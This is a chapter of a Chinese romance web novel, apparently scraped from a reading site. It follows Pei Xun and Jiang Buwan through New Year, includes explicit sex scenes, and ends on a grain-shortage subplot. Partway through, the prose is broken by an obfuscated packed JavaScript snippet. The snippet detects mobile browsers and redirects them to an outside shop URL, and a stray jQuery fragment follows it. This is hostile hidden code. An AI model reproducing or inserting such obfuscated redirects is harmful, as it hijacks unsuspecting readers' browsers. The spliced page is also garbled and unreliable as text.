裴洵面上闪过惊讶,回以一笑,郑重道:“旧岁已终,新朔将至,愿卿岁岁无惊,常得安乐。”
裴家在青州没什么亲戚,以往的元日只有他和曲母两个人过得冷冷清清,自然没讲究说什么吉祥话之类的。如今突然听到这情真意切的话语,心中不由得为之狠狠一颤,嘴中自然而然回了一句真心实意的祝福语。
他只以为是太久没和寻常人家阖家欢乐过年节,分不清究竟是因为话本身而触动,还是因为这是从姜不晚口中说出的话而触动。
在她没来的日子,他总是捧着书或批阅公文直到深夜,不自觉打了个哈欠,才意识到原来已经坐到这么晚。
环视四周,空荡的厅堂就只有他一人,油灯的火苗随着气流微微闪动,将他的影子在墙壁上拉长,显得背影孤单又寂寥。
吹灭油灯,万籁俱寂,连白日常常趴在檐角晒太阳的猫儿也没了声响。他提着一盏灯笼回到空无一人的歇脚地,那儿也只能称为歇脚地。
他本以为离家三四个月赶考的日子总该习惯没有人提着一盏灯笼等他回家,习惯没有人迎他进门眼含担忧问一句“阿洵辛苦了吧,快些歇息”,习惯没有人在他读书时在旁边趴在床上或倚在榻上看书,做做女工。
好几次地习惯性的摸了摸床榻里侧的位置,发现空无一人,脑子顿时清醒,半天无法安睡。
阅过无数的圣贤书告诉他这是耽于女色,他深信不疑,努力去克制。
本已经渐渐淡忘这些习惯,姜不晚却又千里迢迢来找他,原本拒绝的话就怎么也说不出口了。
深夜里辗转反侧,处理公务落笔时又会在脑海中浮现她的脸。想了又想,只得出来一个结果:还有三年,等时间到了再说。
窗外鞭炮的声响渐渐停息,姜不晚的脑袋一点一点着,眼睛已经合上。她在家中很少睡得这么晚,这会儿已经困得不行。
裴洵合上手中的书,起身把肩上的衣服披到她的背上,轻声说了句“睡吧”。
吹灭油灯,借着一点残光,将她横抱起来,往家里走。中途姜不晚迷迷糊糊醒过来看了一眼,作势要下去,被他紧箍住身体,不轻不重地说了句“乖些”。
她便不敢乱动,乖乖的蜷缩在他的怀里,呼吸声渐渐平稳。
因姜不晚出门时跟小梅叮嘱过,要是她太晚没回来,便带着孩子休息,不必等她。所以是裴洵将她抱回屋中,亲自为她脱下鞋袜,打来热水擦洗了一番。
这还是头一次。
只可惜姜不晚睡得沉,不然肯定不会让他这么干,太不自在。同时也没看到今夜的裴洵难得将自己的情绪外溢。
要是她看到了,也许就能知道以前的浓情蜜意看起来总有些虚假不真实,他的一言一行像极了话本子里写的温柔书生,活生生就是套在模子里比照着复刻的那种。
兴许是昨晚睡得太晚,姜不晚夜间睡得格外沉,等她醒来时就见裴洵在外边忙活,桃楔已经钉好,门窗上别着柳木,贴上年画。小梅已经把水烧好,顺手把菜也切了,只等姜不晚醒了炒菜。
她从背后环住裴洵的腰,“今日不去上值?”
他笑了下,“昨日不知是谁说的,元正不得好好在家陪你和宝凝?”
她脸一红,有些窘迫,将脸埋在他背上。昨日不过说的气话,要真有事还是公事重要些,她可不能使性子。
裴洵便由着她在厅堂里抱着,一炷香之后才拉开她的手握住去了书房。
这间宅子很大,所以书房和卧房是分开的。不过裴洵大多数时候都是在卧房看书,公务又大多在衙门里已经处理完了,所以来书房很少。
他指了指书案上摆着一套崭新的文房四宝,并二十四色丹青,“我记得那幅雪霁江行图你补得很好,若感兴趣,可以试着学学怎么作画。”
姜不晚目光黏在那上面挪不开眼睛,光是泥金色就有好几种,或深或浅。笔更是做工优良,笔杆光滑,笔尖纯白无杂色,分粗中细三种。
“喜欢?”他声音带着笑。
她点头。
裴洵把她摁在椅子上,取出花青、藤黄、栀子黄三色,用温水泡开,又把毛笔放入笔洗里浸泡,拿出一张印着徽州字样的宣纸用镇尺压好。
他将笔递给她,“试试?”
“画什么?”
“心中所想即可。”
姜不晚脑子里第一时间想到的就是裴洵,眼前人也是裴洵,将要脱口而出的“你”被生生摁住,到嘴边变成了“宝凝”。
她什么也不懂,怕将他画难看了,在他这样的画技面前不过是惹人好笑。
裴洵没什么意外。这再正常不过,她对宝凝那真是爱女如命,宝凝又乖巧可爱惹人喜欢。莫说是她,就连他自己都想着有空给孩子画几张不同类型的画像。
当即去把孩子抱了过来,放在木椅上。这也是裴洵亲手做的,带有滚轮,推起来很方便,平日会把她放在上面让她自己玩。
一切准备妥当,姜不晚求助地望向裴洵。他走到她身边,弯腰握住笔跟她展示了下姿势。
明明很简单,姜不晚却难得紧张,注意力全放在他靠近的身体和修长匀称的手指上,忘了是怎么拿笔的。
“不会?”他并没有看出异样,把笔放进她的手心,裹住她的手调整姿势。
她沉浸在一种晕晕乎乎的状态,只听着他说先把外轮廓勾勒出来,再一一上色细琢。就着裴洵的手,她画出了一张竟然和宝凝有八分像的画。
“这么像!”她惊呼了一声。
“你的天赋很好,用心琢磨来日定能有自己的收获。”裴洵今日的笑就没有停下来过,目光包容又鼓励。
听了这话她更晕头转向了,人迷迷糊糊的只知道点头傻笑,惹得裴洵眼中笑意更加明显,低头吻住她的唇瓣,纠缠得难舍难分。
衣衫不知道何时散开,他提笔在锁骨下方画了一朵明艳至极的海棠,在牛乳般的肌骨上一对比显得分外艳丽、摄人心魄。
他低头含住那处丰腴,端详了会儿,“比之前大些。”又含糊不清道:“怎么没了?”
她声音断断续续:“方才……喂过一次孩子……”
他依依不舍移开,拿出泡胀吸满水平日写字的狼毫,极尽温柔侍弄,只听见她发出软而甜腻的呻吟。
事毕,她见了那支还沾着水的狼毫笔便怕得紧,推着他的手赶紧拿开。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779829|207646||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>他笑她,“怎么了?不喜欢么?不是舒服得唤我……”
她一把捂住他的嘴,恼怒道:“别说了!”耳尖泛起的红却骗不了人。
裴洵举起手示弱,仍笑得不停,“好好好,不说了。”又低头咬住她的耳朵,故意压低嗓音,“再来一次成吗?”
她捂住脸不敢抬头看,正好方便裴洵得逞,不一会儿书房里又发出让人脸红心跳的声响。宝凝不明所以咬着手指盯着他们看,很懂事没发出声音,不然姜不晚真是得足足半个月都不敢见人。
元正休了三天裴洵便回了衙门照常处理事务,其他僚属则是轮流值守,过了元宵才会恢复正常作息。
那合适种植的粮食还是没找到,他又去找了本地善事农桑者仔细了解过各种作物,把常见作物每个季节的产量,一年的产量,近五年的产量核算出来。
发现大范围种的麦子玉米根本不能成活,一场雨下过来田地全淹了,根全被泡烂,倒的倒,死的死,一年比一年的产量低。
倒是荆条、葛根这些长在山上的野物一年年过去数量不但没减少,还增多了,周围的草木也长得繁茂。
越核算,这数目越心惊。成人一年最少得吃四石米,可大部分三口之家一年粮食的收成都不足四石,连一个人都不够吃。
裴洵不得已给卓安之、王行衍他们去信,看看京中有没有容易养活又便宜的五谷种子。
日子一眨眼就过了元宵,衙役陆陆续续到岗上值。过了个年也许是日子过得太舒服,便有些人生了些歪心思。
先前在看大门的李大勺看平时玩的好的哥几个都混得不错,连一向讨厌的死对头王虎升了官也成了说亲人家里炙手可快的人物,不同他上值时唠闲话,下值了也早早回家不去喝点小酒。
就他被裴洵点头拒绝,现在还在当门子,他心里那个不满和嫉妒可是比天高。他一张嘴能说会道,又善于伏低做小,于是一合计就煽动了好几个还在干原来差事的一闹,说这命令就是为了离间衙门里的弟兄,好让大家散了逐个击破。
一番言辞情真意切,涕泗横流哭得伤心欲绝,让好多原本没往这处想的衙役都有些摇摆。一方是新上任的通判,一方是共事五六年的弟兄,熟高熟下实在太难抉择。
段玉堂隔岸观火不为所动,裴洵只好自己出面解决,解释只是为了知人善任。
为此忙得焦头烂额,脚不离地。忙至深夜才回家,踏进门就看摆了十几个箩筐,姜不晚正在往里边装东西。
看他盯着,她解释:“荆条编的,不贵又结实。我看老人家年纪大就全买下来了,留着装东西,总有用处。”
“荆条?卖这个的可多?”他用力掰了下
“不多,就那位老翁一人。”
裴洵脑子里顿时有了想法,一把抱住了不明白所以的姜不晚,“晚晚,你帮大忙了。”
-------------------------------------
这里也不算强行把女主加入剧情线啦,毕竟男主每天在官府忙,受案牍之劳形,基本没什么时间去田间地头看看。而女主负责一家生活起居,与老百姓打交道多,贴合实际民情嘛。